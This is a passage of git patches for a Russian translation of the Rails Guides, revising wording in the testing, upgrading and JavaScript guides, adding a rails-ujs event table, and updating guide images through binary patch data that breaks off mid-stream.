могут использоваться для установки опций, поддерживаемых драйвером. ```ruby require "test_helper" @@ -607,7 +605,7 @@ class ApplicationSystemTestCase < ActionDispatch::SystemTestCase end ``` -Если вашей конфигурации для Capybara требуется больше настроек, чем представлено Rails, все эти настройки можно поместить в файл `application_system_test_case.rb`. +Если вашей конфигурации для Capybara требуется больше настроек, чем предоставлено Rails, то эту дополнительную конфигурацию можно поместить в файл `application_system_test_case.rb`. За дополнительными настройками обратитесь к [документации Capybara](https://github.com/teamcapybara/capybara#setup). @@ -624,7 +622,7 @@ end Теперь мы собираемся добавить системный тест в наше приложение блога. Мы продемонстрируем написание системного теста для посещения индексной страницы и для создания статьи в блоге. -При использовании генератора скаффолда автоматически создается скелет системного теста. Если вы не используете генератор, начните с создания скелета системного теста. +При использовании генератора скаффолда, автоматически создавался скелет системного теста. Если не использовать генератор скаффолда, нужно начать с создания скелета системного теста. ```bash $ bin/rails generate system_test articles diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index e573cf3f..2f61c8c1 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -191,7 +191,7 @@ Rails 5 добавляет возможность запускать задач ### `ActionController::Parameters` больше не наследуется от `HashWithIndifferentAccess` -Вызов `params` в вашем приложении теперь возвращает объект, а не хэш. Если ваши параметры уже дозволены, вам не нужно вносить каких-либо изменений. Если вы используете `slice` и другие методы, зависящие от возможности читать хэш, не смотря на `permitted?`, нужно обновить ваше приложение, чтобы сначала сделать permit, а затем конвертировать в хэш. +Вызов `params` в вашем приложении теперь возвращает объект, а не хэш. Если ваши параметры уже дозволены, вам не нужно вносить каких-либо изменений. Если вы используете `map` и другие методы, зависящие от возможности читать хэш, не смотря на `permitted?`, нужно обновить ваше приложение, чтобы сначала сделать permit, а затем конвертировать в хэш. params.permit([:proceed_to, :return_to]).to_h diff --git a/source/working_with_javascript_in_rails.md b/source/working_with_javascript_in_rails.md index 1137887a..eef00175 100644 --- a/source/working_with_javascript_in_rails.md +++ b/source/working_with_javascript_in_rails.md @@ -282,6 +282,31 @@ NOTE: Все обработчики, привязанные к этим собы Если вы остановите событие `ajax:aborted:file`, поведение по умолчанию, позволяющее браузеру отправлять форму обычным способом (то есть не-AJAX представление), будет отменено и форма вообще не будет отправлена. Это полезно для реализации вашего собственного AJAX способа загрузки файлов. +### Обработчики событий Rails-ujs + +Rails 5.1 представил rails-ujs и убрал поддержку jQuery как зависимости. Как результат, ненавязчивый драйвер JavaScript (UJS) был переписан для работы без jQuery. Эти нововведения приводят к небольшим изменениям в `пользовательских событиях`, срабатывающих во время запроса: + +NOTE: Сигнатуру вызовов обработчиков событий UJS изменилась. В отличие от версии с jQuery, все пользовательские события возвращают только один параметр: `event`. В этом параметре есть дополнительный атрибут `detail`, который содержит массив дополнительных параметров. + +| Имя события | Доп. параметры (event.detail) | Срабатывают | +|---------------------|---------------------------------|-------------------------------------------------------------| +| `ajax:before` | | Перед всем ajax-бизнесом. | +| `ajax:beforeSend` | [xhr, options] | Перед отправкой запроса. | +| `ajax:send` | [xhr] | Когда запрос отправлен. | +| `ajax:stopped` | | Когда запрос остановлен. | +| `ajax:success` | [response, status, xhr] | После завершения, если ответ был success. | +| `ajax:error` | [response, status, xhr] | После завершения, если ответ был error. | +| `ajax:complete` | [xhr, status] | После завершения запроса, независимо от результата. | + +Пример использования: + +```html +document.body.addEventListener('ajax:success', function(event) { + var detail = event.detail; + var data = detail[0], status = detail[1], xhr = detail[2]; +}) +``` + Со стороны сервера ------------------ From 0fb2aeaa4c078416736ca2c2c47e68f2e0575ce2 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 2 Jul 2017 19:38:52 +0300 Subject: [PATCH 317/932] remove profiling guide from plan --- source/index.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/source/index.yml b/source/index.yml index 9508f97e..110b9b25 100644 --- a/source/index.yml +++ b/source/index.yml @@ -312,8 +312,7 @@ pages: revision: 5c0d00072d1309dbc77bb5d97e42956bac3e8684 date: 20/03/2017 -plan: - - file: profiling.md +plan: [] old: - file: 2_2_release_notes.md From 7afdabfb8199b57a573b8bf85473c5f5a2662893 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 2 Jul 2017 21:35:56 +0300 Subject: [PATCH 318/932] Update images --- public/images/belongs_to.png | Bin 25803 -> 22147 bytes .../getting_started/article_with_comments.png | Bin 22560 -> 13884 bytes public/images/getting_started/challenge.png | Bin 21690 -> 20347 bytes .../images/getting_started/confirm_dialog.png | Bin 18809 -> 17507 bytes .../forbidden_attributes_for_new_article.png | Bin 10783 -> 9851 bytes .../getting_started/form_with_errors.png | Bin 12447 -> 11665 bytes .../index_action_with_edit_link.png | Bin 10209 -> 9703 bytes public/images/getting_started/new_article.png | Bin 3579 -> 3193 bytes .../images/getting_started/rails_welcome.png | Bin 1053549 -> 732190 bytes .../routing_error_no_controller.png | Bin 4186 -> 3869 bytes .../show_action_for_articles.png | Bin 2965 -> 2901 bytes .../template_is_missing_articles_new.png | Bin 587962 -> 472167 bytes .../unknown_action_create_for_articles.png | Bin 5327 -> 4808 bytes .../unknown_action_new_for_articles.png | Bin 5481 -> 4933 bytes public/images/habtm.png | Bin 63801 -> 47284 bytes public/images/has_many.png | Bin 28919 -> 24300 bytes public/images/has_many_through.png | Bin 100220 -> 78099 bytes public/images/has_one.png | Bin 39022 -> 27547 bytes public/images/has_one_through.png | Bin 92594 -> 70130 bytes public/images/i18n/demo_html_safe.png | Bin 11946 -> 9860 bytes public/images/i18n/demo_localized_pirate.png | Bin 15027 -> 11214 bytes public/images/i18n/demo_translated_en.png | Bin 12057 -> 9069 bytes public/images/i18n/demo_translated_pirate.png | Bin 13392 -> 9974 bytes .../images/i18n/demo_translation_missing.png | Bin 13143 -> 9984 bytes public/images/i18n/demo_untranslated.png | Bin 11925 -> 8985 bytes public/images/polymorphic.png | Bin 85248 -> 65417 bytes public/images/rails4_features.png | Bin 132154 -> 65840 bytes public/images/session_fixation.png | Bin 47860 -> 38296 bytes 28 files changed, 0 insertions(+), 0 deletions(-) diff --git a/public/images/belongs_to.png b/public/images/belongs_to.png index 077d237e4e5c8ba98bab0e0e5920bf128336ca69..1a9926e5787d93c25cf400c119e635712de16516 100644 GIT binary patch literal 22147 zcmZ5`WmsEH*L4EH-913jQrwGsaA_$}+}(?7@D?rZ(xPo~id*pF#ogWA?Mv_X`So4- zm2)yPdu>^>CbPe&t3t5Q$`_c*>c2)ipBRGQgDb|ie+jTs1#pQsQLV~prB$vtetJWQ0v zM{8wS#=odoVqPpcp)qaP(};s^XK8F3Ab9N(Xdm={jV z@Sh%L4hAqCwCvp)S@oN9lg0Jro1;<-D1J||wiL>i6VcEB-=h$;2T}BhyX04&aQHSa zwG9Y8_uP8=wi?ziIMgqcY5khB=U?6U{&kn$_KW5BtPW#bG}+zw_ag3cx_CM*7yS?X zum+7s9s!nzx_Tj}6e=8qi#w6(dQO4D9R^l_1-5T#su>zrZB z#C~%@%Ik+G$NB}w`pn^?gQnPx$%8A~+WV(CG5S5DJ7Wp?GA%?R=-iPN33z zKF`ZG#pxuJ!8-{n0Yb*RN~2r-z^E;CUHp|^0XI-6n>`idMaz2q$)uyhh2KUhyo>M1z8_^5Kk)arMr2lOv6jw=$}#EjTe8*fjp zd_Y4_0VnO%oCB3>CZ#~fB@=~n=42%Bl?S3_12$M&Wb~7PwsXXXU}54Y3+{BOZ|XlZ zQPU>&+-l~sMy*t_$Sg>$y-e47CI7b|a~JYZo=W{rV(bR$zqKIwW11|SeaCzv$0q8prGV*qJ1)+#~>8K?b> zrSq=^-H}(b&Jl`{CAQgw_;23g*AfXeVzQu^DcVr{?QkX#LSsh7qz`{Obf@m~Ex({z zdGc8LG;(p{>A!NfeC&CewR6+z&xNO|?=lB?D8HjI(qjbPkd5cqBe1##C$m9o zTX5%VE~BuTs`2ZA_AWQq*Re4%TNii9$;oA9Wv#8P8yg$0jYCB|r7oyZm{`UTpE%o- z?m%bS!x2CLg$Ro%bkE?GBk~ei>_h?|?6ho_4hrAWsMDq}~PHe{wa3h?+1 zg^;N?h% zMeKWBSA{^Ojh#UMsqppV<6|%woRg7Z+MFH}g9WB}D<}u>b62qg`d|q38;^;I*%JN_I{FaHE}eNViKTZ zE0^Tn2C#P&0C>8)V_{*@9v2oC(j0enN!J;Oii;O}_M3UII>;^_HBuCI0j5!DrS|L) z8ZvfGokK>54W8CBaquyR!O7$>lQ;n_Z?5*vUTV!&Z?*StfTaGPBGo&Yeoo030n;A` ztCE(y5V5Km&i?AORA`ChZ+aj)TUqU_uC8uw(nn$93H*A*GL8^cB-5A8H^dSm0P44c z*bch<8p4K(@vIWP!;#ah^206TxS@sL~#b}WPPnId!t3SQ}B2*?>%`$l^ zu9@nIX^g0|#tGdbC6!I<9RR^NuaeylW#DsgpQ<=nBUb`T11xx1w({;9w9GHh@hN1k zsGpFN{%EHbcuhJ1C}8Ljz*1nzD^V!LZK7P3$|snL@qeR2tP4Y$extjyU>PIMng9?v z@kp9s4lqN1z^BI|U{>efe+%D#9$@_}R^CNFQ?h}KFI1oBa>=8vxPq!3Xa}Df+gDTn zVXBMJ9T>gVf(<3eW(;xRNfF|hD~iw!kB09C7hc12h2i-cbe{2&oivscG3wn;)Z2{jP5z)$Y} zXXhHeTUoy*;sZ;z^q;ST0j8YnSlCzIZC&ceeswPCMDNN%nNnO8*;FQjL%#;Xc){FrUO|0#AbO2SiI$eN3&^I!eYBBJT6Pk@& z>6z}*=H5IsIk%1F;`>H1LUdpb1hxPOXUZ=g)+nCfyZCbKPGcj^+Qcd17%xA^H5e?r zSTY~y@=lrnCqIWhUb6F$)K8quQ&Le4?_Bsyr9%FB z(5^_71qn(G2IG3_tgfD`*4en+TwTS)#f=URvvF`7Sj<>iS&@*Cm;{9Y4=W+H%Jcc- zfVA_Gr6sEMww9LP4Lr(G&F$@hrlzLwjn&=V-PhMQFwlsjIi=y`!#n-^IW~0opF6qB^T@K>%lyk@4;{oBJ3K~bb^%Dz1?7l=MHA^ciZYTP`FPB>m@?iTZj-A%Js~BmxOL$&)2nu}WuCSoGy$E-G;QdGIkRaIP6) zR3}#Ok%SQs4=S&|%Mk1QIV{l`YsR<2Ix!Ec<>I&Jl;N@A`72!e=TLsvGR83v4g^|M zXP$e5fb(>2uBv{@=70^JfQP|)-;3pdwz3L_Ja75v&r5tZ~cO7-7{g?DGWS z9QLXamhPAe!TAa6*G-VuMxrb)0>;YDu+!Mj&56^`q=65`ci0lJd5Tl@y8)&EMLXQ_ z^Ky@3M4ObME#8=E)sjz%k4_Nhte2N93r+^Ck@J-;IvrWNs z$8aSvv(cS+Fd)MZp`HZczTt(pWk}zE{9P#F2 z%_o@O7P$Uq8tRZ(svNQ(6HN!Vgl`NoalD*dcP6iQh`;YMx_y~-k#z*lgdP(=6v@1N??n>N~`>9PFb$S zsI?}%lsm*huCA`Ga$xBBxvi9&Zm?zThR7iDozfQ(mITQkl0^OahPAjTJ^o+$U-{1Y~QBY#sD?tL8Faaoe~#X+%iS1opfUV2=yD!UIpip)>_OJw0&k zRxzVjM%*3au4R!ffG3c{4lgmd-%`fClE^hdAuQ35traYV?%}YJ2dlCnOzzGAQ>_78>j=mXNmwRslBcp?S^T1F@~cIG%d7Yeq}vp@34 zL6Z>)x!AchUzxZMHiv1~#N&+S|fuFB$=6bK? zOx9{1Rb|TgKR;oHRLh>1XuHEGm&vkPsnbUVt}iBDfx zt`@=l6c`}YOT$H#;Ele6OozEc=S1jgdz1pr_|tyz32njL+}zaE6kJ7o_Vx6vpV-?C zf7Bf~)UZ{@!~7`$zS5#P6-X?~+@SDft%Z^ah;zS#?Brv^aNk~l#50T&bn!MDTw^UG z{;XNXl~xQhPCwzhj1CQHvJm0jEH8t*{asyyi96 z(;R}A<_Pw!_;oqr&mRR24>!vXGY8kp54v?X2EHfnj@F4Y{4H#*i4U2-v<8zV(Eydy zgMUBKPdg>*$@dFS!{k#yJ}(`8E=HO?G#9IWM3a>-`_0nWq1nFFSuFu zmOzbZpF>VbjgX|$Qn2>Cuam6JVL2qE|tb>AN3Gv4&7mx#LrYz%pi9bNK@?CZ?*R1{XEeGUWdl95Jw zxpxNBxi5!`H}AZBT{NNrv4yrFty3*9;4x@JVR3BB23a35br}px?pkys6!Y$vdN3{# zN(Edn1mf`9_qxoMnc{?W+C*Ri{$a1hmN@b3MjLMa&QFvt&2E+RGt0I?!t{achMzC^ zys!aY_yEy_awn0io0rpiCJx7QF1GiwAKtudJ3arL$(wn+l6aGk9&kNKje3C?MilNT z?%kN31A-h(d*am+6@gGmTR6G`Q^vvWG_>faH(6A6qz>K)CsKbGHL$ir#OiM4JE(9t?0F2D#&gp#35?4pd5Jgogf44C&jIuoU6;9SW?< zVxh;Pu8w}fWVr6s_Wl}Z1sZ%(2%HE?+N(la@+pTQgt5LgR- zd^tlLZMc^58;Vy!N&^vUPdRlYi3<`@g#*N#x$?Hjg2NCbImwYRKz+m_M#VJ7D$YK) z`G(Li6(^HJ4b1AIH7@GPuCMqb((G>2*}ptE(f`Via;K4oCq*X0^1~tRY6zfPODPm+ zLUsILSdgT`b;(~gSQLdw7@ImYqz#bzVDsK^K=kHi7OfXzci@9n{e-D_C6J|`QJV4FWMJlbsg+c(T4{jv%V$F3w@5jHk%87vk|5yj_YhfH8*rL1AP$$uMLYYA>rg&h+F9?K^B- z*%ZI%ltvk>*>^l_Jn6`t)?WsK6&U@vcEw)~jPNFT54~37b8{URqry@h!Cp^GJ2+XK zIxJeP5B+b9J#@C?o_>p)|HebeG&3V<=NGx}swwwRV`DW^@WkV09pzN+z!e}mJ59s! z7bnG*`f0o4(bU%4l4RBvs&js%lpsaHm1kuf*?~ZBRf0qsnKv?x?ojoagi^uzQ0kl9 zZ<34OR69G+6KRQi(H^Bs1Xg<=4DC1s>B?E{ggdA}T0(zOOYsNRoyCVg4Y(5NTbW^e zRrtL~ITkcrd|UyzrkAr}=9R1!C-IFMjUP$?6D0Ub?oZdJoXn@+jx_MmPYn+ekPCOK z`%sJ|r1c$ZhAYcx2yQadQk%s!G^>P|Zr6BhFI3HIQ-e(Io_ZEV7|Y%qidas4a#x zbtU{YGMOyA!OYzOe?3+AcM4E6q#s$rgfozdxQ>7`6k(gslZ1m%#0WhN4;^9h07=J* zob6B~5=e4R)G3In`_$Kn_c?sI=Cr`@UdSix<_A6VPuH&zqQqQ4Jq;(oFZx&zuK zw;C(uq~mgZly6Ne)W4nl13LaDM>>^=T7*qv@hHX$eE{>;Y_+(jqT*0&n^WxRQCfX_ zv*;Rpi43|O9xW87GWQ?r=Q{~_R6N(#AbV59jrMdCc)PO8#DM9)TV>=CctM7c5Xj}r zYnXf^=6w}etWySoE^l+*m+K0M;gc@D1ynm>IP-dqPq>SmEWaFKR8I7fSfv-4rP-t@ zqWO#e5}VHWXd*Erp&A|;p^O?w+`S&_!P@pc*iuRZpYQc@wyEx`$H$QI9o^J@B%Rqy z;v8@f&CZz}Co}VC;|(37QRh$A^3t|6KeTi%CGK7CNb{2E&oPZZepmFgMYcx8u$N-8 zY>FyM!D)C~v|Nh1BpKmydC*}{D(lu_Gy3-|S}smb>J`~-R%^qe)2rS4`w55|*~i@0 zPsh71ttl2vDyo#*bY-hlGZ&{548cjViQ7Zeqj$d!JU{-L);qLwZtSScF$L8L5g721 zBk+wFz;}`dn$gB-#&qdQ#}+|vHR{A-{o@ZL~}cs)!b(arxYts~pC?!XLZMR0P^H(b-IPFxO6458&7 zmSDmDBkIfK_G0I56zv$+{ z!EHC)xa`Yq3iO)nt7v`l(;r7Qe^b5T>M2|4W`NIK;>q!gfY4a~=As-yj4fcB0qp7K zboOo?*nMjy#mo2BggFTSKOYvdogOe^YG+uEv%&@yVCol`yRx`UcpRAYHJq8cxQ|r| zy;T{T&^y3YV~-DTI z__zIwi;zp>Rgu6_zFWw8DD6M?bgo*<*!lATsn~uGXgNub(~i-KIx`7l30KFlw&5i) zB{`z%X*r#pH$BZD9}c5BV&3!K`dIUSQtEx&IF@3#q$IH`nBj%OdHTcXn4N>mhqnXt zNXA~b1_xw1g>n(5stkWixUJa;Em6UpJc#pFDbDs}qe>jGc@?L%EsZ8g1+J36H_T{A zUR!*lT%8|!NYqcNG=@Ym=ntOqI44_TzOfNs9F6wkq63b?Jg;XFxNpq{0}cP}wf|iF zaMJBojGkgOW-B9*H_Kxn%3csyW zohLcTe=T?N6$e4XgTgS+q>@RE4O`Ta&VI(;3H#cgv1bd`73_q)`6qe5=r#BxIjZAh zqIaqPhi%v$iMksti&WG(#FPjTsCK5_mIFut=5!!P3?XL0rF2iTTLb53DyPLgGajt$+N%La5o9AG#!WcjWis;zPU#CVSH;TKO^01y+w2) zg-psO(N#GZaXKrR`?0fXON>LGwiR%ove-ERkGJV;*Ghf?@#@p^paF38n)e>zQlfhn zNXQccU6;}u8LzF$BN;&_%cE;G>C&&tA;X&tem^30`Ag*oR3blK2H+55YV~J<>oa|j ztQk;5Pbb!q8;2q`)G+fzztI)89h{OyNDabLYB1h?c-(7ZV$FSG z3gBn4eWX!J@7IRz_-zP9u1$ubUbZ_5B{cGKSu9(f@tC4uKK;FGuKvD}+1rhscDncH za}{FLV7&x&DlXTn>d_#&xBIO_g>!0R7pI4pf|vwWF`4+{mTt-~`BTDNvY(YmYkHHy zbB)CI9vIQtocsOlwdTzSps!a+ZXT^;UQV(f}F4*=W#8#TXm|l;g3;S8b ztVtj-{=aB0MAE%zPwPKb|0Bv$fpjE6y=y9LEshrz9O)2r#JB`?s1iSKo!`I|YD3`T zkBIUWp)X$ZsRTIMN1wBKql>;XV%E(n56+AL1J^a#T8&JRbf;rY|h2xdjFH##tvyN|pY z8d1%BXS%{KR77n7Ffv_*K z{ZMph>XRcc^RDzr{$?QJ^6ci1Z#A#-+Q#0C`YBVBJC2SH=x1C``x=NVMIy_|T-MI= za~M5XY&J-iLb61x)+^YFO&TUz#v49qY&LZ8)-u~|2hsIP_tndEV}rbZ+cIrI)CTE# zv88gW==-&5GUas#0q@uT^pWi5u3XR&Y7iQ0>JLCo;SggvhIjE0|Gp1H-e2l_O$(BF z$1m4x@LQcN*h7jk8BfQRYwphMS1!ls{Z%NXH`~1_}$O#gr<2NHY8KhxpwmCg@NJxV0V&}@zXlXpDN_c7)M8?*B zNM2`^T>g%WKYI_;(ts$jY5ewj&>wHwD@gg91h&>%)uDLy3s!%Y(N(Y{YIA|Z@SOVL zdQ)8CyX3#5`pXFon)y- z{JiOz!tqem)M%>N$SBuJ1njb5@$EnMoJ62J%ucExX?Hwdxpd}d#*|)wv#4>+)UNIG z{1#ks$i~qIAg{QYAuDuG!%DfI1Lt_7>Aqo!@1 znqCs2u*>XnXRSySezV7W#^<-ZZ3-Mi=g+bRw<>(l`$+rthMm5`>+HX*+(Y_y1E5L} zrtOhJM5EP8eFx2QiWN=5b2KIpm7;_qF>f z3IRJ@PE}#0Y)9c>2k(!7a3(4w((fF#C*NORrb*%ag#^xj3K;sb0OE)uu{Ge~j_=DCF=oM_PAV0lfv)EMP7$8K;E2E5ca zwAbGRG+$s&_?|F`ew0`Gl#Pg936ntO!IxMMq2Yn>?yv}EDQ_%|u8r_6uGONX(|>{Z zwhjRXLPqt2$TYqueb>O*cbZ&zwV>6L%U~h8vuy2Q^rGB$4b%sNv3!!kBpW4F*hGI$ z8^M-lCY)2#dVF;}7Z*f}s6X!0BFk?#qMW0AYt*|Y-dgRLR|Q2lEbO*D@A(0I31xnP zw~&!KIu^=@@()o?ZEl83o$dq9ceaP@XIFBiU~$_%%t0cbHzYRSpZP-zM3{RTLrO|1 zHGP(wkA7Pf9u0LYQp6k|OrlgmB!3@jII7Dbf5?Q);jH%8Pf}mxF>(JUWh`xfcUF;~<3K4dPrwsyRy<3n3qbp@F)+J5drx z*Khcx-)+(g$AZ<7X%xt5diEuy*n;0HeKGt{9X;s{_qNV)%>0YeYn9(MD41BTXO7=?Ypmm zbn;QNzguVX9r7Q9PW%8Qp^zG|g_*jedXm6Ji7v`%&nC(7Ekg%I=@T*;s+QO989KCa z5vas>l76%jlsxd{3Mm>rQje(8-x_=2Pk(pYMw)Z||IN}2wlIdzQV0HU0x;~+9{gJq zsbe&*7|j@0*!TLYpZHglyO73$cWgv)2~)dHV>sZS4hs+8E572a2A^7w<-@~*HL(02 zn2KMg84La@f5i;$=$21&61VS@P=A|eq}~Xz$oBxI=xz91)KBOE1})JQhx7bR9QWvV z0Cv>4I#Kuxc}Mf21FIybP6xLhL@T9II1alm^<>;2hf^;~(Y(GO7zz*+%q6J^7?5ls zk0u_&8K~Q+S|FA!Jw7l!Z~o7gnSA?yw*1ZiNd;@K=+rZ%TET1aj!Krm_x5cK<(5!D z&_uQg2#uDgC~YfjIA_8ALtW$$_0Y8YU&+DUU;%eSt#48X;Mwdp1le%Ice!N;)9EYP zpV@=AacaN>W~EJ#4^q1J$}9OEe9e@eL|aRT_L+scMvfPxLk(ON-=r__(55eG_q0Qs z#re+=pWL5~eAgY-?EK=e%HG+Op)~Legs8l_1&p5n|Db+NN}j0SNyzuEJ*u7eV0Q2w zy~aE~a6K>nU$(Ns(V)lG`oIlp%X+Luo7{r*XK>4(Te9&%rZ)%&VaW37=E`($Xntr( z#3PL7AovU$y?0ZzhMpmQi@-Jf_8a=m!_-{x2Z#fpVe)L-2tt{|5T;-T4xTIj!$F49JzsBO78}=@9Yf ziR7Xq{MoiZ%090ns#^A#=izLs7(90Rui8r?bEHWWnonR0PUy>A?;gK$VzNMH6}?$S zYA9ZTF@eN$o}s#Qg~x0iPycyc*>O~xlo(VL{kvpbH7~P3iB2Pg40H9Me~*8tu4-q+ zBpb(fBx*P-oeF}(j3$F$3H}ozf!^t5@x@0y!41KD)VB@`D39c`a5qqN<35#r{|~vP z=m6{=fGaqF$Ibr4OaZ5ytgO=)cD2SHq_Gv5Jkg4*#UqmQx}mEq&@FSW5j5J1tGvIG z=udt0tM2dhc~>Ii{M~saJAQB$a~C}W!lOIvlN1Dx?$o9RGUBbc$FRhwWE%7hC!KM- zBwS`Ri77<4H$Fi=Au$UMo|-u7NT{?7@5UUPc|MJL99tgO@uxI89z>6F)rwz;AMOYT zE_8k|K0dhe5z5y5lxe@--^}5%Gk#q#oEz-aNrA`t5?pVzej>$)tJb}06sDFoK_ga|4lD8CmTU78yd~`7E_$0-N?!MO+uM9M5Ft_$({q0G zxEM5~Pndw6N|s+!?e@c*@rQ!!dZM?$!wU}CoC*Xkl>K*Z3)DW?Ji5Nq&h0QM;{s*I z_soRwtKs~yT{j`?<2yevcl|*VFVx0AP)^t))L8D872mzDlQ5>({X5#nTx!ma%S}qve4V?rj$-}uahphn4mj#niv>FeCl)WI#E*5&_hm92TnN;VO1;jLfTC|B)+jyEX0Rv#HPds$1E7i-$ZziZ}rtq0b4B4_;y z(I9=H)TVw72u^?zNuW-qX##&mHiQO4b%9by!7Qk#I=CUIptE-I8;fUW4tFDSU$BJ5 zLY>j*+a1wjBq?Z8zxlvc^+8k44pxNpDr0l>YMWt&GN~9C2gz6gTsYbX%U{NXnWtWA zLz~B}A1mn<6pJUKNv3UUJ(^Y4xU*I18frmo{rLrH-jl+jt0!|?#+<8Zf_X;Q^hD@k z1qL5fr_EE91>pU5s>O(lZ6}#qRK)lpG*BVp|B7T(Ut z;hWGfr_lT}i?ujw*z!#>I)hUE0#ezWeVt)N{vkJJ*TYk6D+@r0>y+6$No0SE$pk1s z_Y9)~0qLHJ*HS>9V!57_#dG#@&J|j3R{06S%~N3x_iuvfX`7ZDUC#dv8tBC5bv9xr z>2NRz&OGbX`ZaZMC6^z6@&IdHI2wvu?BZ0O$N#02YHH{l&^Z$?@Eug!36UzJy_LZR7KA2!{|4EyT4_~`68kIi;v}yn zOcE&A4-|a&oA(K>DdQ3#9}j>O4RdpMe$SpB>57G_#S=H$0r1qJ{3)YBS~EM^)hjd+Q;$WVD2G%z|YjeKriBmfEc3YZLS>wB0R)R``_f>^q{Kp`0!Q$3ae?uos(`*l|()+>dQ**B!fY!kX2Y-Gr#>ZfiPBgtDufCRev@!#9KR zp$q`KqZ&Roat3k>-k9-ra3!(;$s@Hlc1Cpcvnk6dfUd0H*hdp!dyGG|k3rkK? zKz+66?0Q@sOT$Nl>gEq2dKsYA(do-8AEFri815vwJ)^JG4Zzg6P0tn{Ov2a(eRenE zC|P>^FLL?jICu^1Xg6nGti(}na`|IkA|qR_@Fvi{E|=w5l2vEH7DJBS&px>;CsUS7_XV4TcqD2>;qwvpSXY(%}7= z9I1m&PEKxlb6c)lYF?kqbj!X&TB5T!REulo>~mC$tvbu_vw6<`aCe181!r=gEeyZ6^d%{~3gTFs3ty%BOe@cwTTdNpwGUiTS4G#ua=_t2Go7C#C0ziw(2|EkIe%{eC z;F>NkkmDg0DE{FMY&e{}=s3h#36KJ>tJ|`aL52y*|1D|<(9(OPMuT1XWTO;M;pJSY|nyYJ>N9XCY#pp?oiikza?+d-{-W0>`t8e8#6(r0FN>5S zUe4#6{aQ)bZP)X57dxW@f@_^rzXtg`Rmc;eF+AuQzdojo#?wLMW&c~LJYOysilvFO z)(pTpZlzsRI~mp z@Yqe4BBEelhB`9=nSclVKM5$^lZ05@HH~mjS4CIvEtbE3bU{C6)=YN^S^Uvp@j@;! z*IA$9b~FtN0T`9eZXn(`8%5pH~RGm{!W@|)73 z5OLHuV@DRt-B_*p{two*qYsZtY$b{?bZZXA?Ix<@sJYPu(HefZHh!7ZpesQ#$lxj|{V{E0$7T&$?9lz&_B$CGg>-1? zw@iuu>hQrqYr~uPlVrmdTc~dYlKlk-s^9}WUU2VD8rgM`mM2YWsL;A6`C06#sfpd0 zzX7H)TMMy7hmP=XLSRzY7S>0zRU4(@U*%Cd-+8bL#r(~bghk*`*G=Xt=g%;%IVKvX zg0eu1^Hsy+!>oJ^xnDvZxE1gAW-3S!hOa0gSnmD9=@+OJjSVi1 zq5wa^pUCO|ZOB?OJDt{ZGWayi7ibwQcDoufAmI0OHKQvOH*A>Mwc2{Kypg`Ev8MHT z<68u{x+fT#KVs`5`M#*CNg3f^2tL!XuClvGG68E)bN#PBjwy6qnjN<~aC^hz!!@s= zO62%dQ<4bRIFT6lqk6E8_!wMg;~|1dJ>wsIi&j@Wl`Q*v?~)4tzQyq31Qufmp*6(D z?*HU1pf|n=W4V6RifxAE>>4gIMoCe|hZBM*ePQ{NSpD6#D~RmVW!@3K$Bo6E)v>oc z%SanY7{p#Pv&H)1p9auk<^9m5Vm@VYW+5H&8WH7^`+`_+^_yaYg8LU~Mpg(QSK4R5O!}G;?O^V*?IUlEPuW3E<&4}oY{u$CDMeJ9$ z%IQQrUfWJlI7tehw0s&&VGBqr3e}Ajc|7eR&ZHCzD9dpRH3X86?N~m zft&3|16p!brsX{<)gZ(Gpa@&5%D?TcHCUsYyuYpAnLpdO>TYC zu=(|ENTotHIyrI+n~#XyTIeY0z3MmTtp134%VBb(YTp~j&@%ioJsz8Jdb_h@8wlyr zSFb%dhbONEAAb*j3_u^oE)uhBX9H@lAQUX@D__U8_;AkSR`Nvo+l$npky?;<&)QZ^ zA+_30{nYX8#NcQ#p1Olm7M^EC?BnHx+9Vc2O1}!Q$Hws>6pcWc3PEnuh4UZ14~`i^ z#uARuyjI%$xwaKdebvZWv9I?%zmW?04Fd)8A?rReWoQXgzcd!%a=g_W(tSVF$SB` z;Ehh`E8_>U;v65_EaZ*8xSa-RShwgu(`V4q%uX9XtZBTxB339k;DX%-HBr;gDZ+$6 z?HoQ|1~4U}9H+n)+~TIZI~z6eCpY~;y{H%#kUhd1P>c20_wV~;!&P7@E*IQ2cQoJy z9x{+1p%O}m^#y6s1;J8e&N>GyN|v{kGps7|g#VdzZe_}Wa+wO|;+cGX z0DdgJdJDYZ z)Kl)$T?zf1%U!o4>psI|{H;jpgUHG6M8V`7I^*$KPGJ3~6Z)nQsDDcOAb&NcQI#o@ zK*lhsuO{BIz3d*%U7bpg6Y+>ZZnmJyt2o|a)0ailZ!#)SEYNmUCSRefaBGa$?*X_yJRHtyKiM~hx8 z^vG90xF&4$uj(OMs=l35M9!gLdF;+*5`lGa2RlO;SZPVGZnW{gAjg2%cTu&wi%46a z`a^PS7ZIMP*5$lP4Mkg!Y@qmm%cLImdAJgUJ)HiZ(RQl^Q$1( zBn^*X#=#qAdbwL-N*|367k`qlP+{%VkGm~%?~*hu9N{Zv62G-B;nB*m5tClWA!5On?&5@!-!g4DXl7 zc-Rx1hRHG^@M3_?>K>l`c1`uPDyz>+Z+rUb7n8@}f3aW>3lJ z!V1Eq=-&?gPwwp(RNGF`b0Ugto-2krV{E1{JaplRqkcOP1g7f#4TF}UKBrq_zuUcc z&@!;+ZLR~B?zc`A7MOz`_lk2}Pb#4pKnSX*ElkFjE{LT7H<_j`flk-_@IvO(DeQWo zv^PV#i`2lx9`MWax78?ER)9!wJXM~}pLV6QMOX<|)s$pL0>ow^$WE5$1qIDDfqzuW zPZPC4V2i@2f(VpwtbAxXWQ;%6|IpSlN7cW+Q>N#wF?p`W_0p2DhR|A*y}!SBWvpOl z&f%tc0XkGtO0UN^N&7We^!1lgzlK(-mV2|ukq=z!6e-74c2anhqUTdIXA)s~LUNBr?9K0|2bjjy>xhT=X}BmR^~R@f*#FGgFu6^?E^ zo-AK4aF6B5UJVJPkQg;^dbHQ3NoK+(AG`bXAg}GW+9g1MU;b?t08+Aqoz4S zlG8EIoG2UHU1tnDzc{WgYYeC^`~UHrLyQGP@WZ9OOg5R~SGe=O#O#vlxjlwH+?-fp zEzEy4W*Lafmu<*p!%3zKdq#603VO-yqA>{=!e4;7&4H352-unsEysV+ZNIk=b-&Ca 